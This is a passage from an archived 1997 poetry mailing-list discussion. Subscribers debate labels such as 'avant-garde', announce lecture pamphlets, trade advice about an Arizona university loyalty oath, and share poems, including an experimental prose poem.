To me "avant-garde" is certainly as useful a term as the others proposed--i.e., alternative and otherstream. Neither of which strikes me as getting to what "avant-garde" is when applied to writing. "Postmodernist", a broader, more encompassing term, is certainly even harder to pin down. New Formalism could be the literary equivalent of Philip Johnson's Chippendale top to his ATT Building, therefore NF could be a postmodernist movement. And "alternative" was the New Wave, before Alternative became Modern Rock. (The music media have their own troubles with "labels"--Is there a Postmodernist Rock yet?) "Otherstream" is a nice coinage, but could as easily apply to Slam as to Language writing, thus for me it's less useful.

"Experimental" is the term most often misused. Most experiments are failures--steeped in the trial & error method. Most writers worth their salt aren't publishing their "experiments." Rather they are experimenting toward a new way of the writing, personally or in the world. Once the work is published, the writer is, in general, confident the experiment has resulted in a finished text that is achieving, at least partially or in a way he/she could only dimly imagine, the intended outcome of his/her initial experiments. The publishing one's "experimental writing" is tantamount to publishing early drafts and half-baked, alchemic concoctions of varying and lesser consequence.

Finnegan

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160. Joe Amato/Kass Fleisher
*Re: "*alternative*avant-garde"*
Sat 9 Aug 1997

---

maria, hi!... thanx for your questions, time for me to delurk anyway!... to employ some rather crude distinctions that i nonetheless find theoretically useful: i like to think through the questions you pose, re the avant-garde and aesthetics, in two basic ways...

first, in terms of my own process as a writer: sometimes---usually (to date)---i imagine mself working/writing to construct a readership... that is, the sorts of

transformations i seek/anticipate/aspire for---in my readers---i take to be primarily or largely a function of how they approach reading my writing... the way they approach, that is, the alphabet as such---the symbol-sharing experience that swapping same comprises (yes, there is a utopian drift here)... and in many instances, i just don't think the "they" exists as such!... it's not a claim i can prove, but it's useful for me to imagine mself as contributing to an experience---over where you are---that disrupts at times intelligibility, say...

i have of course worked in forms that seem to me to downplay this aspect of the experience---that is, in which the so-called matter of "form" itself is taken for granted, and in which "style" (please note quotes) replaces same as a distinguishing characteristic... such, in my view, is one way of beginning to think the discourse of scholars and scholarship in general over and against the discourse of poets and poetry... though part of my aim, as i understand my own work, has been to complicate this distinction; when it comes to prose forms, such as the novel, the distinction may be even fuzzier... yet i would say this distinction holds, even allowing for the fact that there are poets *and* scholars who seek to complicate the reading experience as such, and scholars *and* poets who seem to rely on an already-understood experience (which is how i understand the mainstream---again, not in terms of good or bad necessarily, but in terms of popularity/demographix)...

the point here, in any case, is that work that challenges or speaks to the reading experience (in terms, say, of the age-old form vs. content dualism) is, in more popular AND often in academic terms, generally considered (and critiqued/evaluated/dismissed/worshipped as) avant-garde or experimental or radical or etc... ez to prove this, too---just TRY to get a trade press (or an academic press) to pick up formally innovative work (and wrt to this latter, pick your poison)... it ain't ez...

second, and here i think i'll be *really* idiosyncratic in my choice of texts, is to think more in cultural studies terms, in terms of reception as (as you suggest) a cultural-social process: i'm reminded of that afterword to pirsig's _zen and the art of motorcycle maintenance_, in which he distinguishes twixt customary and what he calls "culture bearing books":

"a culture bearing book, like a mule, bears the culture on its back. no one should sit down to write one deliberately. culture-bearing books occur almost accidentally, like a sudden change in the stock market. there are books of high quality that are an important *part* of the culture, but that is not the same. they *are* a part of it. they aren't carrying it anywhere. they may talk about insanity sympathetically, for example, because that's the standard cultural attitude. but they don't carry any suggestion that insanity might be something other than sickness or degeneracy."

i'm not wedded to pirsig's words, now---but if we allow that even "culture bearing books" are a part of culture, and that there are in fact multiple cultures, i think there's something in what pirsig is saying here that might speak helpfully to the notion of contingency and history (he names _uncle tom's cabin_ as a culture bearing book, but also says "it was no literary masterpiece"---which latter is of course open to debate)... provided of course we supplement same with the business aspects of the writing marketplace etc...

so perhaps the matter of what is deemed avant-garde (term used advisedly) turns at least in part on circumstances that are, properly speaking, beyond anyone's control... ergo, the ex post facto nature of that discourse: "this event turned out to be a seminal blah blah blah" (oh and i find this latter useful too at times, but less when i'm in the process of writing than when revising)... we may aspire to same, i mean, in our very process as writers, we may lay claim to same (as i have at times) in our products, but might this not comprise a requisite reach beyond one's grasp?... i.e., a failure?... even failure can produce some helpful effects, moods...

as far as hanging out with those what think like we do: that's only human, but past a certain point, it sure can prove limiting...

best,

joe

↑ Index

161. Alan J Sondheim

You, Celine, Die On

Sat 9 Aug 1997

(I hear a voice ... now she's done it ... now there's no going back ...)

You

I met you in Jerusalem, I met you in Brooklyn ... said that to throw them off the track ... it was near the Mea Shearim, you were being stoned ... zealots, eh ... seven thousand miles away, your hair in my mouth ... I swallow everything you have to offer, I'm not picky ... you give me ad- jectives, expletives ... I give you gerunds ... they sway like that ... turn me inside out ... forgot that these dots were stolen ... the walls were baked hot, there was an omen, white fox darting in front of me ... twenty years later, sure enough, that one in Cape Breton ... your hair had silver streaks ... blond streaks ... all that opium I took, you took me to the hospital, they made me get up off the floor, leave, lunch hour, there was nothing to be done about it ... taxi-cab out of the city ... twenty miles away you could smell the atoms ... I've photographed the sheets, hung them from the window, I've tied myself in knots ... you could see the building going up in the

distance, I thought, why is he pointing a knife at me, they destroyed the restaurant ... crawled out of the past ... I'm uninhibited, eh ... what wouldn't I think of doing ... I need to have your floor under me ... I want to write over and over again, collapse me ... Jennifer is on my right side, Julu on my left ... they're waiting ... Jenn goes to the door, looks out ... street's clear ... there's a gunner on the roof but he's got his weapon down for a change, anyway it's for show, beret and all .. landmines everywhere, barbed wire ... Julu flies, I forgot to tell you that ... moved ahead of the rest of us ... fierce, eh, she knows what's going on ... they've made a landing-strip of my chest ... I can hear the planes, they're overhead all the time now ... the gunners are closer to the ground, they don't dare look up ... rat-a-tat-tat, it would be over, that would be the end of it ... can't have that, eh? Julu's got moving now, she's really churning air ... that whore in Soho wouldn't have me, I didn't know what I was doing, I lost sixty dollars, there were more and more men the farther I went inside, they were watching me ... lucky to get out with my life ... couldn't get it up anyway, I was trembling, disappearing down the streets, pathetic ... had to be rescued from the sidewalk like that, taken in ... she told me I couldn't love her, she was brown ... pulled a knife on me just like that ... taught school in Washington DC ... later saw her with a group of people, laughing, had to get out of there ... Denise wanted to tie me up naked, upside-down, don't know the pleasure in that ... we picked up the stuff in Pennsylvania, drove back through a cheating night, I couldn't pretend ... she got the tape recorders, cords, signed Ginsberg, wanted to borrow everything, that was the last I saw of them, she made up for the bad times in her own way ... I wasn't ready for this, just a lunch date, really, suddenly currents change, I'm done with, inside out, upside-down ... later there's an obelisk or prism, it's six-sided, limestone, about three meters tall, one across. I can't make heads or tails of it ... it's turning, some sort of vision ... I think of you again ... "disturbing dream ... Lisa Dilillo and I were talking upstairs in her loft ... it was really Marcia Resnick's, I recognized it ... Laurie Anderson lived upstairs, I was always moving ... but it was dark, dangerous night, I was waiting for you, we were going out, you'd ring my bell four stories down ... upstairs on the corner of Canal and the river ... Lisa Dilillo and I in some heavy talk ... I said I had to go, you were coming, I wanted to be there for you ... started down the stairs, there were no lights ... just someone standing on one of the landings ... I hoped it was you ... I felt a knife ... woke to write this, steal Celine's dots ... his "three little dots ... screw him, he was trouble ... in highschool someone pulled a knife on me, I grabbed the blade ... I was filming in Los Angeles, the Sunset Strip, a whore came at me ... in Nazareth, an Arab flashed a knife, big problems there, went off to kill his nephew, avenge us ... it's a long story, had to do with that restaurant, our friend got beat up, dropped in a Wadi ... I can't pray any more, eh, I've seen too much, my eyes have volumes in them, there's no end to it ... Tamara B. and I screwed, I was still married, went

off to Tassie, wrote her, she told me to go to hell, wrote it all over my letter, it was the final straw ... don't go there sober, eh? ... I'd given up, I was desperate, turned her down in Irvine, she told me she "had her eyes on me for a long time ... that was before the anonymous phone calls ... the destruction of my work ... the letters ... everything in the world heads towards purity ... that's all there is, a chance to begin again, start over, head out, fly away, set the sails ... you don't get this often, it's random, one day you're having lunch with someone for the first time, the next day you're thinking, this is all there is! ... this is all I want! ... Wait! Wait for me! ... carpe diem and all that, the Fugs sang it, they were on my label ... she's never heard my music ... I've gotten through all of this, what's next, I've got to do the book too ... a couple of them ... maybe more ... I'll start again if she'll have me ... I'll give her me on a platter ... on a board ... clothed or unclothed, whatever she wants ... this isn't a great prize, mind you, a little tarnished, but some good points ... thinks well maybe, for example ... moves fast ... bit too intense ... she can take me, do what she will, someone's put the knife away ... Jennifer and Julu are sleeping, it's late even for them ... smoke and clouds ... incredible dawns ... I'll wait and see ... what happens to the night

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162. Steve Evans
Impercipient Lecture Series
Sat 9 Aug 1997

Two more installments of the monthly Impercipient Lecture Series (ILS) have appeared since our initial announcement to the List in June.

Aldon L. Nielsen's "No Saints in Three Acts: On Stephen Jonas" should begin appearing in mailboxes today. Nielsen is among the first to give Jonas's work the careful attention it both deserves and, in light of its fractured political commitments, demands. Great archival finds, including a powerful description of the Baraka/Jonas correspondence, combined with Nielsen's signature ability to practice a utopic form of close reading that models the desegregated mind while acknowledging the still-segregated social body, makes this a must read.

Beth Anderson's "Imperturbable Things: On Still-Life Poetics" is a wonderfully original meditation on the deceptive stillness at the heart of the linguistic storm in the work of Wallace Stevens, Barbara Guest, Marjorie Welish, Keith Waldrop, Ann Lauterbach, and others. Despite our canny release of this pamphlet in June, just as the blockbuster shown on Still Life got underway at New York's Museum of Modern Art, a handful (literally) of copies are still available.

We've also recently done a small reprint of our inaugural issue, "The Dynamics of Literary Change" by co-editor Steve Evans. A fair number of our issue on Bob Perelman's _The Marginalization of Poetry_ remain in supply.

The two back-issues that are unfortunately out of print at this time are: 1.2 Radical Dogberry and Society Sketches by Chris Stroffolino 1.3 The Ground is the Only Figure by Rosmarie Waldrop

Finally, to all the List-members who have shown support for the ILS through contributions verbal and financial: Thank You!

Steve Evans & Jennifer Moxley
61 E. Manning Street
Providence RI 02906-4008

r i a t n m u a t s u o o o s

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163. aerialedge
*Re: "*alternative*avant-garde"*
Sat 9 Aug 1997

The avant-garde border police are a boring phenomenon. nevertheless they are not as boring, or harmful, as most of the phenomena they attempt to police. we fool ourselves = a thought is (not) an action. get out your mla handbooks o boy. given negation as a primary tactic of such arts it is no surprise that a negation of the avant-garde is in the stirrups. nevertheless an explicit passion remains possible. go give a damn. If you can.

--Rod

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164. charles alexander
to be or not to be (loyal)
Sat 9 Aug 1997

Dear Poetics:

I've just been hired to teach at the University of Arizona Extended University -- a course on small presses, and later this year, a creative writing class.

Today I received in the mail, among other contract materials, a "loyalty oath" to sign. I had thought these were a thing of the past. And I thought maybe people on this list could advise me -- have others here had to sign such things, has anybody refused, is this only an Arizona conservate thing, or ??? Particularly, anyone on this list in Arizona -- have you had to sign such a thing, or have you

refused to sign such a thing, and what if any were the consequences? But I'm interested if this is required in other states as well. Are you a Minnesota loyalist, Maria? or anyone else anywhere else? Some answer soon would be great, so I can weigh my options before I sign or don't sign. (and yes, I know, I should probably talk with a lawyer about this)

For the record, apprently they would withhold compensation "unless and until such officer or employee does so take and subscribe to the form of oath of affirmation set forth in this section."

And that oath reads:

I, _____ do solemnly swear (or affirm) that I will support the Constitution of the United States and the Constitution and laws of the State of Arizona; That I will bear true faith and allegiance to the same, and defend them against all enemies, foreign and domestic, and that I will faithfully and impartially discharge the duties of the office of _____ according to the best of my ability, so help me God (or, so I do affirm).

_____
(Signature of employee)

thanks,

charles

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165. **mark weiss**
Re: to be or not to be (loyal)
Sat 9 Aug 1997

Charles, you dirty commie, to the best of my knowledge you gotta sign--when confronted with same in NY, Connecticut and Arizona (I don't remember if I had to sign one for UCSD) I checked it out. I think that all public colleges require it--may be that their federal money is tied to compliance. But take heart--you can always be a spy.

At 05:39 PM 8/9/97 -0400, you wrote:
>Dear Poetics:
>
>I've just been hired to teach at the University of Arizona Extended
>University -- a course on small presses, and later this year, a creative
>writing class.
>
>Today I received in the mail, among other contract materials, a "loyalty
>oath" to sign. I had thought these were a thing of the past. And I thought

>maybe people on this list could advise me -- have others here had to sign
>such things, has anybody refused, is this only an Arizona conservate thing,
>or ??? Particularly, anyone on this list in Arizona -- have you had to sign
>such a thing, or have you refused to sign such a thing, and what if any
>were the consequences? But I'm interested if this is required in other
>states as well. Are you a Minnesota loyalist, Maria? or anyone else
>anywhere else? Some answer soon would be great, so I can weigh my options
>before I sign or don't sign. (and yes, I know, I should probably talk with
>a lawyer about this)
>
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>until such officer or employee does so take and subscribe to the form of
>oath of affirmation set forth in this section."
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>And that oath reads:
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>I, _____ do solemnly swear (or affirm) that I will
>support the Constitution of the United States and the Constitution and laws
>of the State of Arizona; That I will bear true faith and allegiance to the
>same, and defend them against all enemies, foreign and domestic, and that I
>will faithfully and impartially discharge the duties of the office of
>_____ according to the best of my ability, so help me God
>(or, so I do affirm).
>
>
>
>_____
>(Signature of employee)
>
>
>
>thanks,
>
>charles
>
>

↑ Index

166. William Slaughter

Re: to be or not to be (loyal)

Sat 9 Aug 1997

Charles Alexander,

Re the loyalty oath you've been asked, in Arizona, to sign: I thought it was "a thing of the past" too.

From the ACLU's web-site: "a chronology, from 1920 to the present, of the most important United States Supreme Court victories that involved the ACLU, either as direct counsel or as a friend-of-the-court."

To wit:

1967 Keyishian v. Board of Regents

"A Cold War-inspired law, requiring New York public school teachers to sign a loyalty oath, fell as a violation of the First Amendment. The decision, capping off a series of unsuccessful challenges to both federal and state loyalty and security programs, rejected the doctrine that public employment is a "privilege" to which government can attach whatever conditions it pleased."

I'll be curious to read what tales others on the list have to tell. Here's William Stafford, a man whose heart was "glad and big," on the subject:

The Star in the Hills

A star hit in the hills behind our house
up where the grass turns brown touching the sky.

Meteors have hit the world before, but this was near,
and since TV; few saw, but many felt the shock.
The state of California owns that land
(and out from shore three miles), and any stars
that come will be roped off and viewed on week days 8 to 5.

A guard who took the oath of layalty and denied
any police record told me this:
"If you don't have a police record yet
you could take the oath and get a job
if California should be hit by another star."

"I'd promise to be loyal to California
and to guard any stars that hit it," I said,
"or any place three miles out from shore,
unless the star was bigger than the state--
in which case I'd be loyal to _it_."

But he said no exceptions were allowed,
and he leaned against the state-owned meteor
so calm and puffed a cork-tip cigarette
that I looked down and traced with my foot in the dust
and thought again and said, "OK--any star."

from TRAVELING THROUGH THE DARK (New York: Harper & Row, 1962)

Bill

William Slaughter

[redacted]

> *Dear Poetics:*
>
> *I've just been hired to teach at the University of Arizona Extended University -- a course on small presses, and later this year, a creative writing class.*
>
> *Today I received in the mail, among other contract materials, a "loyalty oath" to sign. I had thought these were a thing of the past. And I thought maybe people on this list could advise me -- have others here had to sign such things, has anybody refused, is this only an Arizona conservate thing, or ??? Particularly, anyone on this list in Arizona -- have you had to sign such a thing, or have you refused to sign such a thing, and what if any were the consequences? But I'm interested if this is required in other states as well. Are you a Minnesota loyalist, Maria? or anyone else anywhere else? Some answer soon would be great, so I can weigh my options before I sign or don't sign. (and yes, I know, I should probably talk with a lawyer about this)*
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> *I, _____ do solemnly swear (or affirm) that I will support the Constitution of the United States and the Constitution and laws of the State of Arizona; That I will bear true faith and allegiance to the same, and defend them against all enemies, foreign and domestic, and that I will faithfully and impartially discharge the duties of the office of _____ according to the best of my ability, so help me God (or, so I do affirm).*
>
> _____
>
> *(Signature of employee)*

> *thanks,*
>
> *charles*

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167. **Hank Lazer**
Re: to be or not to be (loyal)
Sat 9 Aug 1997

Charles--

No such requirement at U of Alabama. (Please, don't tell our Governor about the loyalty oath. He's the guy who wants to mobilize state troops to defend a judge's right to have Christian prayer & a display of the 10 Commandments in the courtroom....) Years ago, George Starbuck, then a young untenured asst prof, risked income & job & successfully fought the loyalty oath (I believe at SUNY- Buffalo). Your Arizona oath sounds rather nebulous--as if you're being asked to swear that you'll follow the laws of the country and the state. Is it really a case of no sign, no pay? Ugh.

Hank Lazer

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168. **Alan J Sondheim**
Re: "*alternative*avant-garde"
Sat 9 Aug 1997

I've always thought, literally, that the avant-garde was a jail, a form of reification ignoring the milieu. That it's useless as a term, since it almost automatically assumes a while, most often male, etc. etc., striated culture in the first place, the _avant_ necessitating a reification of the rest. What happens is a certain exclusionary violence imho. It's a critic- al move, no matter who applies the term.

Better to inscribe exfoliations of practices, sites of writings, sprays of signifiers, instead of particulated emplacements - and at the same time to acknowledge it was a highly problematic but common term, whose time has past.

Alan

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169. Hugh Steinberg
Re: to be or not to be (loyal)
Sat 9 Aug 1997

Charles:

I adjuncted at Arizona from '93-95. I recall having to sign the oath, although as far as I know it's just a meaningless piece of paper and treated as such.

Hugh

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170. David Bromige
avant ga-ga's
Sat 9 Aug 1997

Rachel, I appreciate yr response. I realize my response has a 'plague-on-all-their-houses' air to it, perhaps akin to donald's 'It's all writing'. With me, this is due to an impatience with negotiating the space between the work and the consumer. What is self-evident to the creator is hardly so to potential readers, yet it's frustrating to take all the guide-dog/hand-rail/sign-posted material one left out of the poetry for esthetic cause, & have to recycle it as prose 'trot'/explanatory manifesti. Perhaps one is more sensitive to this demand when one (as I) earned a living for a quarter-century providing just such aid to those eagerly (or perhaps not) seeking to get with the new in poetry. Au fond, it takes place as an internal conflict, leastwise with me, a constant source of irritation that leads me to dismissive gestures.

You are helpful with the suggestions of colleagues; Cole's intelligence & patience are manifest in her reappropriation of 'marginal' so that it places the writing she practices & whose practice she supports in others, on a level playing field with 'maindrains' writing. Carla's 'hybridity' strikes a chord with me--the local hero in sonoma county is Luther Burbank, and for decades I've spoken to folks around here of the 'grafting' aspects of the Modern. 'Making strange', your own candidate, makes sense too.

But ....but.... from a poet's p-o-v, it often comes to 'but not _my_ kind of making strange', understandably, since 'making strange' can never be a uniform endeavor. And 'not _my_ way of hybridizing' . The case of Michael Palmer is worth considering here. As was pointed out by 6 poets collaborating on an essay abt LangPo, Palmer had been in every 'LangPo' collection and most journals devoted to publishing 'LangPo', so that his disclaimer, in an i'view, 'I'm always a little outisde of the group, like Matisse', had a bad-faith ring to it. His case gets more confusing when one recalls that one of his books was touted by his publisher as being 'by the leading Language Poet', and that it is declared by his

translator in the french edition of _Sun_ that Palmer 'never was a Language Poet.'

Whatever one thinks of Palmer's conduct of these negotations, one regrets, for one's own sake, the necessity of them. I understand your point, Rachel, about the 'dominant mode' more easily obliterating poetry not to its liking, when that poetry fails to concert itself under some one stunning rubric. Its a concern imposed by the dominant, it has one already speaking the opporessor's language, yet it looks to be a dilemma of 'compromise oneself or die'. To whom do you need to speak of yourself (since you use this parallel) as 'lesbian'? Is it required in order to let men know not to bother you, or in order to let others so inclined that you might be available, or to qualify oneself for those few privileges that can come a lesbian's way, or....? what is the necessity? Cab't the negotiations happen on a one-on-one basis without recourse to labels, but instead by way of declaration of taste and volition? I guess it can be seen as 'Strength in numbers' and mutual support; as necessary assertion of pride in oneself in the face of many who would shame one; as 'coming out' as courageous gesture of commitment in a society still largely uncomprehending? I like your analogy, and I think it bears further exploration as to parallels.

'Lesbian,' however, is a term whose currency is now well-established, and so we are still left with the question, 'what is the name for what we do--what claim to unity with others can we make that doesnt depreciate the particular 'making-strange' it's one's destiny/fate/choice to have incurred?' 'Not this', the first sentence of Silliman's poem, does lead, in its case, to 'What then?' Ron's complex and active awareness of the needs of the poetry-consumer in a society that offers brief, inadequate explanations--but that _does_ offer explanations--for anything one might be supposed to need to purchase, surely helped take him from sentence one to sentence two. To have stopped with sentence one is an option I for one find attractive. So that the 'What then?' is spoken, originates, in the reader, with no further prompting from the poem.

That has the appearance of the idealistic in today's world, though, doesn't it?

Well, this is long enough already, and coming to no resolution. I can only hope that it nudges the discussion along a minim. Thanks, Rachel, for the stimulus. David.

↑ Index

171. **henry g**
Re: "*alternative*avant-garde"
Sat 9 Aug 1997

J Finnegan - I like your idea or description of experiment as something that precedes publication. Though exploratory work will always seem experimental.

"Avant-garde" seems like a contradiction in terms. Whenever the really new has solidified to the point of being a lined-up advance in good order, it's already crusted over. Have it for lunch tomorrow.

Progress. Sure it happens. Sure there is the new. Sure people grow off each other's energy. But why do you say the New Formalists are "freer" than the plain old formalists? Doesn't this betray rather a linear notion?

Close reading will turn a lot of old poetry into very avant-garde material. Dante, acc'd to my old buddy Mandlestam, is a poet of the future.

The idea that tradition is univocal (not your idea, a different post), is too abstract to mean anything. Look back in lit history & you see a conti- nuous nervous fluctuation of attitudes, styles, etc. "Every significant movement in English poetry could be interpreted as a reaction to the political situation." (Stephen Spender, 1940).

Another interesting Spender quote: "Now the poet is someone who devotes his life to exactly such a process of self-revelation as drama attempts to produce in characters: his poems are speeches from the drama of the time in which he is living." (1938)

The avant-garde is that portion of the new which has been assured canonical gluing into "the tradition". Think about it. Maybe that's the answer to Maria's question (paranoid though it may be tending toward...) - Henry Gould

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172. henry g
Re: Impercipient Lecture Series
Sat 9 Aug 1997

Just a quick blast - Aldon's extended essay on Jonas, which I was lucky enough to be handed OUTSIDE the Harris collection on Prospect St., is VERY good work & great reading. He's done his homework & his essay is remarkable for the number of issues it touches on (neglected startling poet - Stephen Jonas; race relations & identity; style in 50s-60s experimental poetry; the visual/textual/WRITTEN as an overall musical-sharpening tool in Jonas' work after Pound & Olson) - WITHOUT getting lost in the minutiae or neglecting a considered assessment of Jonas' achievemnts.

Way to go Aldon! Now I have to look for that Talisman book of this guy (Jonas - SELECTED POEMS, Talisman Hs 1994).

Jonas seems to have been an extremely witty writer lost in the fuzz of time. Beautiful archival digging here. Witty, highly musical, & violent sharp & edgy.

But some of the edge seems to be sharpened/softened by his direct application of blues & jazz in a very deliberate & extensive way.

- Henry Gould

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173. **Steven Marks**
Re: to be or not to be (loyal)
Sat 9 Aug 1997

Charles, Cross your fingers, take the oath, take the money and remember that the Declaration of Independence says that it's OK to seek the removal of a government that won't guarantee your rights. That is, as long as you are a property-owner. You do own property, right? Not to take your situation too lightly, I think there are a number of "subversive" things you can do in your small press class to more than offset this odious oath. Keeping every promise can be a sign of rigidity.

best,
Steven

On Sat, 9 Aug 1997, mark weiss wrote:

> *Charles, you dirty commie, to the best of my knowledge you gotta sign--when confronted with same in NY, Connecticut and Arizona (I don't remember if I had to sign one for UCSD) I checked it out. I think that all public colleges require it--may be that their federal money is tied to compliance. But take heart--you can always be a spy.*
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> *At 05:39 PM 8/9/97 -0400, you wrote:*
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>
> _____
> *(Signature of employee)*
>
> *thanks,*
>
> *charles*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

174. Tom Orange
"avantgarde" (fwd)
Sun 10 Aug 1997

these didnt seem to get posted the first time around -- apologies if they are no longer useful/relevant....t.

---------- Forwarded message ----------
Date: Fri, 8 Aug 1997 00:54:49 -0400 (EDT)
From: Tom Orange <[redacted]>
To: UB Poetics discussion group <[redacted]>
Subject: "avantgarde"

david i,

re: yr questions abt the history of the term/concept, matei calinescu has a useful take on this in his book "faces of modernity" (or perhaps "five faces of modernity," it was published first under one title and again under the other, duke up 1991 i think). if i had the blasted thing here i would save you the trouble and type out / summarize the relevant points.

tom

↑ Index

175. Tom Orange
hendecasyllabics' metaphorics
Sun 10 Aug 1997

---

on a different note (altho the poem below cd be seen as 1870s avant-garde now tres derriere...)

for those like me in late-summer doldrums wondering where the time flew, perhaps a metaphor or two to tease out:

> In the month of the long decline of roses
> I, beholding the summer dead before me,
> Set my face to the sea and journeyed silent,
> Gazing eagerly where above the sea-mark
> Flame as fierce as the fervid eyes of lions
> Half divided the eyelids of the sunset;...
> [swinburne, "hendecasyllabics"]

now we have flame above the sea-mark: presumably we are already to think sun and/or sunset. said flame's fierceness, fiercety?, likened to fervid lioneyes. now for the kicker: flame half divides eyelids. hold on to that for the moment, let's tend to these eyelids first. eyelids of the sunset: possesive or partitive genitive, the sunset /has/ eyelids or /is/ eyelids? if the sun is the eye (as it has already been associated with fervid lioneyes), then eyelids can be sky and earth, upper and lower limits of vision, extinguishing the sun in the slow blink of its setting, its setting under, its untergehen.

yet flame half divides
eyelids, divides them in
half, keeps them open.
even when closed they
are still divided,

by the horizon, or:
half divides as in

divides only partly,
not completely, half
divided half joined.

even tho i gaze
eagerly above
the sea-mark
the flame is so

fierce, as sky
and earth close
on the sun, i

have to squint,
join my eyelids
together, close
them enough so

that they are
still open.
to the horizon.

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176. **Rachel Levitsky**
Re: hendecasyllabics' metaphorics
Sun 10 Aug 1997

Tom--

Your poem (the Swinbourne piece too) is beautiful, and took me to the ocean. I am grateful, being stuck out here in the rockies.

--Rachel

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177. **George Bowering**
Re: "*alternative*avant-garde"
Sun 10 Aug 1997

> *how does that go - 'there is no avant-garde, only people who are a little late.' i'd appreciate the source if anyone may have it at the ready. c.*

It sounds a little like McLuhan, who said that the avant garde artists do not live in the future, but in the present, while evryone else lives in the past.

See his essay called something like "The Rear View Mirror".

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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178. **Alan J Sondheim**

Re: "*alternative*avant-garde"

Sun 10 Aug 1997

Curses on me, I've almost always found the opposite to be true - that the avant-garde is often retrograde - at the same time everyone was praising Godard's attack on the corporate (and binding women to the sex industry vis-a-vis the gaze of the director), the same was occurring in hollywood film after film.

Attacks on systems and classical logics, rationality, came from as varied sources as Godel, Alexander Bryant Johnson, Vaihinger. Meanwhile avant- garde groups issued manifestos without questioning the problematic of writing, say, issues of protocol statements, performativity, etc.

Watching the lure, seduction, objet a of soap operas tends more towards post-modernity's deconstruction of narratology than, say, Holly Hughes who I love by the way.

As far as technology goes, I've learned more from say Brenda Laurel beginning with the computer, than from artists, too many of whom think the Net's equivalent to the World Wide Web.

Sorry to interfere here, but ah, there's another McLuhan bust as far as I'm concerned...

Alan, up far too late with himself, apologies to everyone

On Sun, 10 Aug 1997, George Bowering wrote:

> *how does that go - 'there is no avant-garde, only people who are a little late.' i'd appreciate the source if anyone may have it at the ready. c.*
>
> *It sounds a little like McLuhan, who said that the avant garde artists do not live in the future, but in the present, while evryone else lives in the past.*
>
> *See his essay called something like "The Rear View Mirror".*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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179. George Bowering
Re: avant ga-ga's
Sun 10 Aug 1997

Well, having heard some at a "festival" this weekend, I came up with a term for the opposite kind of writing (I mean not avantgarde),. I dont know whether the term has already been used, but I called what I heard "consumer Poetry."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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180. George Bowering
Re: to be or not to be (loyal)
Sun 10 Aug 1997

Here's what I cant figure out: would a subversive hesitate to sign the loyalty oath?

Here's another thing i always used to wonder. Does yr US body called the House Unamerican Activities Committee investigate activities carried on in , say, Sweden, Niger and Reunion?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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181. George Bowering
Re: to be or not to be (loyal)
Sun 10 Aug 1997

I'm wondering about being faithful to the Declaration of Independence. I mean especially the part that says that King George III was a rotten guy for not being the implacable enemy of the Native People of America.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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182. Rachel Loden
Re: to be or not to be (loyal)
Sun 10 Aug 1997

George Bowering wrote:

> *Here's another thing i always used to wonder. Does yr US body called the House Unamerican Activities Committee investigate activities carried on in , say, Sweden, Niger and Reunion?*

George, HUAC changed its name to the House Internal Security Committee in 1969 and was abolished in 1975 (after Watergate), although I think somebody forgot to tell Gingrich, Helms and Buchanan. There's a hilarious chapter on the committee in Jessica Mitford's _A Fine Old Conflict_ (which is out of print, unfortunately). Among other jollities, she reveals that HUAC, in one of its first actions, named Shirley Temple (then nine) as an unwitting dupe of the Communists, and later designated Christopher Marlowe as Un-American.

Rachel Loden

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183. Bob Grumman
Re: The Otherstream
Sun 10 Aug 1997

Hmmm, another person to execute: James Finnegan for saying that while he thinks "Otherstream" a good coinage (thanks!), he believes it "could as easily

apply to Slam as to Language writing." Wrong on both counts. According to my definition, both Slam Poetry and Language Writing are KNOWNSTREAM, the opposite of otherstream because they, or poetry in all essential respects identical to it in the case of Slam Poetry, are in the establishment press anthologies. Slam Poetry is probably mainstream (a substream of knownstream) as well; Language Writing is not.

--Bob G.

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184. Peter Ganick
email address inquiry
Sun 10 Aug 1997

hi buffalo listmembers----
back after a while-----
an announcement soon regarding potes & poets
and the zines/texts soon-----
but for now, i urgently need the email and/or
snailmail address and/or telephone number
of elizabeth robinson-----
she's due for an issue of a.bacus and i've
misplaced her text-----
anyone can backchannel would be appreciated-----
out-----
peter ganick

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185. Maria Damon
Re: to be or not to be (loyal)
Sun 10 Aug 1997

hi charles, wow! no ididn't have to sign any such thing at U of MN, for whch i find myself unexpectedly grateful to the institution i'm usually wringing my hands about. but i believe they stll have something like that at berkeley.

At 5:39 PM -0400 8/9/97, charles alexander wrote:
>Dear Poetics:
>
>I've just been hired to teach at the University of Arizona Extended
>University -- a course on small presses, and later this year, a creative
>writing class.
>
>Today I received in the mail, among other contract materials, a "loyalty

>oath" to sign. I had thought these were a thing of the past. And I thought
>maybe people on this list could advise me -- have others here had to sign
>such things, has anybody refused, is this only an Arizona conservate thing,
>or ??? Particularly, anyone on this list in Arizona -- have you had to sign
>such a thing, or have you refused to sign such a thing, and what if any
>were the consequences? But I'm interested if this is required in other
>states as well. Are you a Minnesota loyalist, Maria? or anyone else
>anywhere else? Some answer soon would be great, so I can weigh my options
>before I sign or don't sign. (and yes, I know, I should probably talk with
>a lawyer about this)
>
>For the record, apprently they would withhold compensation "unless and
>until such officer or employee does so take and subscribe to the form of
>oath of affirmation set forth in this section."
>
>And that oath reads:
>
>I, _____ do solemnly swear (or affirm) that I will
>support the Constitution of the United States and the Constitution and laws
>of the State of Arizona; That I will bear true faith and allegiance to the
>same, and defend them against all enemies, foreign and domestic, and that I
>will faithfully and impartially discharge the duties of the office of
>_____ according to the best of my ability, so help me God
>(or, so I do affirm).
>
>
>
>_____
>(Signature of employee)
>
>
>
>thanks,
>
>charles

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186. **Maria Damon**
Re: to be or not to be (loyal)
Sun 10 Aug 1997

yeah, this reminds me tht there's a special provision for forgiveness on yom kippur, for oaths made under threat of death or other such duress. i.e. it was important that jews survive, even if it meant converting under the threat of death; they could be forgiven as long as they remembered they wre jewish.

At 11:12 PM -0400 8/9/97, Steven Marks wrote:
>Charles,
>Cross your fingers, take the oath, take the money and remember that the
>Declaration of Independence says that it's OK to seek the removal of a
